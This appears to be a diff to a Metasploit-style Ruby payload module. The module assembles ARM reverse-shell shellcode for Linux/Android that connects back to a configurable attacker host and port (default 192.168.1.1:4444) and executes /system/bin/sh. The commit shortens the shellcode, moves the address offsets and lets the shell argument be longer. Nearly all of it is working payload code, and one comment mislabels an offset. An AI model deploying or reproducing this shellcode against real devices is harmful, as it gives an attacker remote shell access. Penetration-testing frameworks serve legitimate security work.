@@ -28,8 +28,8 @@ def initialize(info = {})
28
28
{
29
29
'Offsets' =>
30
30
{
31
- 'LHOST' => [ 172 , 'ADDR' ] ,
32
- 'LPORT' => [ 170 , 'n' ] ,
31
+ 'LHOST' => [ 136 , 'ADDR' ] ,
32
+ 'LPORT' => [ 134 , 'n' ] ,
33
33
} ,
34
34
'Payload' =>
35
35
[
@@ -54,7 +54,7 @@ def initialize(info = {})
54
54
55
55
# connect(soc, socaddr, 0x10)
56
56
0xe1a06000 , # mov r6, r0
57
- 0xe28f1084 , # 1dr r1, pc, #132 ; 0x84
57
+ 0xe28f1060 , # 1dr r1, pc, #96 ; 0x60
58
58
0xe3a02010 , # mov r2, #16 ; 0x10
59
59
0xe3a0708d , # mov r7, #141 ; 0x8d
60
60
0xe287708e , # add r7, r7, #142 ; 0x8e
@@ -79,30 +79,18 @@ def initialize(info = {})
79
79
0xef000000 , # svc 0x00000000
80
80
81
81
# execve("/system/bin/sh", args, env)
82
- # Shrink me here. I am lame.
83
- 0xe28f0048 , # add r0, pc, #72 ; 0x48
82
+ 0xe28f0024 , # add r0, pc, #36 ; 0x24
84
83
0xe0244004 , # eor r4, r4, r4
85
84
0xe92d0010 , # push {r4}
86
85
0xe1a0200d , # mov r2, sp
87
- 0xe92d0004 , # push {r2}
88
- 0xe1a0200d , # mov r2, sp
86
+ 0xe28f4024 , # add r4, pc, #36 ; 0x10
89
87
0xe92d0010 , # push {r4}
90
- 0xe59f1048 , # ldr r1, [pc, #72] ; 8124 <env+0x8>
91
- 0xe92d0002 , # push {r1}
92
- 0xe92d2000 , # push {sp}
93
88
0xe1a0100d , # mov r1, sp
94
- 0xe92d0004 , # push {r2}
95
- 0xe1a0200d , # mov r2, sp
96
89
0xe3a0700b , # mov r7, #11 ; 0xb
97
90
0xef000000 , # svc 0x00000000
98
91
99
- # exit(0)
100
- 0xe3a00000 , # mov r0, #0 ; 0x0
101
- 0xe3a07001 , # mov r7, #1 ; 0x1
102
- 0xef000000 , # svc 0x00000000
103
-
104
92
# <af>:
105
- # port offset = 170 , ip offset = 172
93
+ # port offset = 134 , ip offset = 136
106
94
0x04290002 , # .word 0x5c110002 @ port: 4444 , sin_fam = 2
107
95
0x0101a8c0 , # .word 0x0101a8c0 @ ip: 192.168.1.1
108
96
# <shell>:
@@ -111,7 +99,10 @@ def initialize(info = {})
111
99
0x00000000 , # .word 0x00000000
112
100
0x00000000 , # .word 0x00000000
113
101
# <arg>:
114
- 0x00000000 # .word 0x00000000 ; the args!
102
+ 0x00000000 , # .word 0x00000000 ; the args!
103
+ 0x00000000 , # .word 0x00000000
104
+ 0x00000000 , # .word 0x00000000
105
+ 0x00000000 , # .word 0x00000000
115
106
116
107
] . pack ( "V*" )
117
108
}
@@ -132,14 +123,14 @@ def generate
132
123
if sh . length >= 16
133
124
raise ArgumentError , "The specified shell must be less than 16 bytes."
134
125
end
135
- p [ 176 , sh . length ] = sh
126
+ p [ 140 , sh . length ] = sh
136
127
137
128
arg = datastore [ 'SHELLARG' ]
138
129
if arg
139
- if arg . length >= 4
140
- raise ArgumentError , "The specified shell argument must be less than 4 bytes."
130
+ if arg . length >= 16
131
+ raise ArgumentError , "The specified shell argument must be less than 16 bytes."
141
132
end
142
- p [ 192 , arg . length ] = arg
133
+ p [ 156 , arg . length ] = arg
143
134
end
144
135
145
136
p
0 commit comments